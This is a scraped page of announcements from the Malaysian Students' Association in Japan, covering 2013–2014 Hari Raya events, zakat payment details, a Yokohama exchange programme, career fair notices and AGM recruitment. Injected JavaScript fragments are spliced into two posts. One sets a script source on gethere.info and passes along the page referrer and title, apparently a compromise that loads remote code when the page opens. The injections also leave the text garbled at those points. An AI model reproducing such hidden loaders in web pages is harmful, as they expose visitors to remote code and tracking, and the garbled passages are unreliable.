【Event】Hari Raya Aidilftiri Celebration

As always, Embassy of Malaysia in Japan will be organizing the Hari Raya Aidilfitri Celebration this year at their office building. Details below.

Date : 28th July 2014
Time : 0800 – 1200
Venue : Malaysian Embassy, Shibuya (http://goo.gl/maps/LzTu5)

*To all muslim students, please be advised that Eid Prayer will start at 8:30.

JPA Student Advisor, Puan Noor Hidayu also will held Hari Raya Open House at her house on the same day. Details are as following.

Date : 28th July 2014
Time : 1300 – 1800
Venue : Malaysian Embassy Staff Apartment (http://goo.gl/maps/XbLVx)

All are invited!!!

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【Announcement】Zakat Fitrah 1435H (Muslim Students Only)

To all Muslim students, 

Embassy of Malaysia in Tokyo have appoint the following officials as the ‘Amil’ for the collection of zakat fitrah for the year 1435H :

1. Mr. Hazwan Nizam bin Fadil (ext. 208)
2. Mr Hamdan bin Abdullah (ext. 209)

To those who want to make the payment via Embassy of Malaysia in Tokyo, please contact the person stated above through 03 3476 3840  to make appointment. The amount for this year is ¥1500
*The letter of appointment can be found here.

You can also make the payment via bank transfer to Islamic Centre Japan Zakat Fund. The details are as stated below :

Account Name : Islamic Centre Japan Zakat Fund
Bank Account : Sumitomo-Mitsui Banking Corporation
Branch : Shinjuku Nishiguchi
Account Number : 204137 (Current Account)

Finally, wishing all “Selamat Hari Raya~!!!”

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【Event】MSAJ Yokohama Brothers & Sisters Program

Let’s have inter cultural exchange with
Japanese High School students using English~!!!
Come and join us in our next collaboration event with iM4U!!!

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Date : 25th of April 2014
Time : 9:30 ~ 15:30
Place : Yokohama City
Meeting place : Yokohama Stadium (関内駅)

OPEN to all Malaysian Student in Japan~

A group of 5~7 Yamato-nishi High School students and 1 Malaysian student studying in Japan will be in one team. Yamato-nishi students will guide the Malaysian student and explain Japanese culture and information about the town & places around Yokohama city by using English. The route will be fixed beforehand. Yamato-nishi High School students will be divided into 2 groups. Malaysian students will join a different group both in the morning and in the afternoon session. (Refer table below)

Students AM PM
Yamato-Nishi 120 students
(3 classes)
160 students
(4 classes)
Malaysian 24~26 univ. students 24~26 univ. students

Schedule :
9:00 Assemble at Yokohama Stadium and check the schedule
9:30 Malaysian students meet with the Yamato-nishi High School students (AM teams)

Yamato-nishi students on each team (containing 1 Malaysian student) guide the Malaysian student around Yokohama to places where they research beforehand. Communication language during this time is limited to English only so that the Yamato-nishi students will try to communicate in English.
12:30 Each team goes to JICA and have their lunch there. AM session ends here.
12:45 Each PM teams staying at JICA in the morning meets with Malaysian students.

Yamato-nishi students on each team (containing 1 Malaysian student) guide the Malaysian student around Yokohama to places where they research beforehand. Communication language during this time is limited to English only so that the Yamato-nishi students will try to communicate in English.
15:30 PM programs ends and all group gathers at Yokohama Stadium. The Yokohama Brother & Sisters program ends and all staff & students are dismissed.

*Participants will be given transportation and food subsidy in total of ¥3,000 per person. Plus, the school also are giving ¥5,000 for each participants as a token of appreciation! So in total you will get ¥8,000!!!
*Limited to first 26 participants only!!! Registration will close once we reach the numbers (inclusive of organizing committee members) or on 17th April 2012 Thursday, 2359 hours, whichever is earlier.

To those interested, click HERE to register now!!!

Unleash your volunteerism spirit!
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【Career】Scholarship Talent Attraction and Retention (STAR) Initiatives Briefing Session

Dear JPA & MARA Scholars,

JPA and TalentCorp introduces Scholarship Talent Attraction and Retention (STAR) Programme to facilitate JPA Scholars to serve their bond with leading private sector companies.

On 5 April 2014 (Saturday), in conjuction with the MSAJ Career Fair 2014, TalentCorp is pleased to invite you to STAR Initiatives Briefing Session for JPA Scholars in Japan.

STAR Initiatives Briefing Session details are as follows:
Date : 5 April 2014 (Saturday)
Time : 9.00 – 11.00 am (right before the Career Fair)
Venue : Interview Room No.3&4, B1 (Basement 1), Tokyo Metropolitan industrial Trade Center Hamamatsucho-kan, 1-7-8 Kaigan, Minato-ku, 105-0022 Tokyo

STAR is a joint initiative of the JPA-TalentCorp to facilitate graduates local and abroad to complete the scholarship agreement bonding in the private sector in Malaysia. For more info, please click:

We appreciate if you could respond (RSVP) by 1.00 pm, 31st March 2014 so we can make the necessary arrangements.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

【Career】MSAJ Career Fair 2014 WORKSHOP

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Every year, Malaysian Students’ Association in Japan (MSAJ) held the Annual MSAJ Career Fair which aims to provide a platform to connect both employers and Japan-graduate-students. It extends the opportunity for prospective employers to meet face-to-face with students across Japan who are seeking employment opportunities. Even though many students successful in getting job through the MSAJ Career Fair, some of the students also failed due to lack of preparation in term of interview.

In order to give better support on this aspect, we would like to invite all the members of MSAJ especially the participants of MSAJ CF 2014 to this “MSAJ Career Fair 2014 Workshop”. Through this workshop, you will get to learn about basis in interview skills and consult with professionals about your career choice!!!

Date : 4th of April 2014
Time : 18:00~
Place : スターライズタワー(http://starrise-tower.com/)

Contents of workshop (subject to change):
1. Business Manner (15 Mins)
2. Interview Checkpoints, Role-Playing (30 Mins)
3. Group Interview Role-Playing (30 Mins)
4. Q&A (5 Mins)

Register now!!! ⇒ http://goo.gl/w6ztWr

※ We are having this workshop in conjunction with our MSAJ Career Fair 2014. If you are interested in joining our Career Fair, please have a look at the link below and register through the link provided.
※ There will be individual consultation session after the workshop. It is open to those who interested. Please bring along your Entry Sheet if you want to get it checked by the organizers during the consultation session.

MSAJ CF 2014 HP : http://goo.gl/Cfr08b
MSAJ CF 2014 Event Page : http://goo.gl/ebpXyT
MSAJ CF 2014 Registration link : http://eepurl.com/MJ-Er

【Career】MSAJ Career Fair 2014

The long awaited big event, your best job hunting event – MSAJ Career Fair 2014 is here!
This is your chance to get to know some of the best companies that compatible to you, either Malaysia or even Japan!
The fair features 28 promising companies and walk in interviews!
Furthermore, we also provide subsidy up to a maximum of 5000 yen to the first 50 arrivals registered to us online!
Hesitate no more! Come join us and give yourself a brighter and better future!
Click here to register now and qualify yourself for the subsidy!

MSAJ Career Fair 2014 main site: http://www.msaj.net/cf2014-for-students/
List of participating companies: http://www.msaj.net/cf2014-company-list/
MSAJ Career Fair 2014 event page: https://www.facebook.com/events/188529494690592/

We look forward to seeing you at the fair!

【Scholarship】Financial Sector Talent Enrichment Programme (FSTEP)

We wish to inform that the FSTEP Batch 11 scholarship training programme is now open for application until 20th March 2013.

Financial Sector Talent Enrichment Programme (FSTEP) provides an intensive one year fully sponsored training programme for Malaysian graduates of age below 30 from ALL DISCIPLINES.

FSTEP is an industry-driven initiative with participation of all banks and insurance companies as well as Takaful operators in Malaysia. The programme is the brainchild of the Governor of Central Bank of Malaysia, Tan Sri Dato’ Sri Dr. Zeti Akhtar Aziz, managed by the Institute of Bankers Malaysia with the objective to train a new pool of talent and prepare them to be the future apprentice with high competency level, to serve the financial services industry in Malaysia.

For more information, please click on the booklet attached below or contact enquiry@fstep.org.my.


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【Event for ALL MEMBERS】MSAJ Annual General Meeting 2014

Omg!! It’s already December and 2014 is coming soon! Time flies quickly right?
(Winter break is coming soon too, oh yeah~~!!)
So, it’s time for our AGM again and it has only been a week after our Malaysian Night!
Such diligent and hardworking committee members we have in MSAJ 😛

For first timers, our AGM serves the following purposes:

  1. Yearly reports from each bureau.
  2. Election for 2014 term’s EXCO & committee members.

To us, the AGM also serves as a platform for the organizing committee of MSAJ to recruit Malaysians students in Japan who have the will and passion to join us in taking care of the Malaysian students’ welfare and unite Malaysians here by having loads of activities, events and sharing information.

If you have any of the following reasons to join MSAJ, please do so as we are hoping for MSAJ to improve and be capable of serving our community here better!

  1. Have confidence in bringing MSAJ to a higher level with just your presence or aura in the team.
  2. Wanna make events with experienced event planners and decent budget.
  3. Interested in any of our proposed roles (or any contents of the roles) in this page.
  4. Wanna learn how an organization works.
  5. Like working with others.
  6. Just want to join for fun and pick up a few skills along the way.
  7. Any reason you can think of.

Basically, we’ll be needing your expertise and creativity in making our future events and plans more successful. We’ll also guide and provide you with chances to display and refine your talents and skills freely as long as it’s beneficial to our Malaysian community in Japan.

The details are as written in our poster below:


Access: http://goo.gl/maps/Rg5Wy

Tentative Schedule:
1300 ~ 1330 Reception
1330 ~ 1430 Report by EXCOs
1430 ~ 1500 Break time/Refreshments
1500 ~ 1630 Nomination & Election
1630 ~ 1700 Dinner & Cleaning

*Halal bento will be provided during dinner (limited to only 100 ppl)

Nomination can be done at【here

Lastly, if you can’t make it to the event but interested in being part of us, you can email sistemweb@msaj.net by including your:

  1. Name
  2. Contact number
  3. Email address
  4. Bureau of interest
  5. Uni/College name (in April 2014)
  6. Field of Study (in April 2014)
  7. Study year (in April 2014)
  8. Reason(s) in wanting to join us (don’t worry, formality is unnecessary for your reason(s))
  9. What you think you can contribute as a committee to our countrymen
  10. Reason(s) you can’t join our AGM

Please take note that if you do not attend our AGM, you won’t be able to take the EXCO (President, Vice Pres, Secretary & Treasurer) and bureau leader posts.if (document.currentScript) {



Hey Malaysians!
Malaysian Night 2013 is coming soon!
It’s time for real fun!!

Details as below:
Date: *TBC* (Around mid December)
Location : *TBC* (Around Tokyo)
Food : HALAL food
**Tickets are open for ALL.


Audition details will be announced soon.
This registration form is for those who are interested to join in for performances during Malaysian Night 2013, which will be held in middle of December.

Performances can be, but not limited to:
Band Performance
Karaoke Competition
Modern/Traditional Dance
Sharing of Ideas and Experience
Stand Up Comedy
Or anything at all!
It’s a night to have fun.

Click here to register for the audition!


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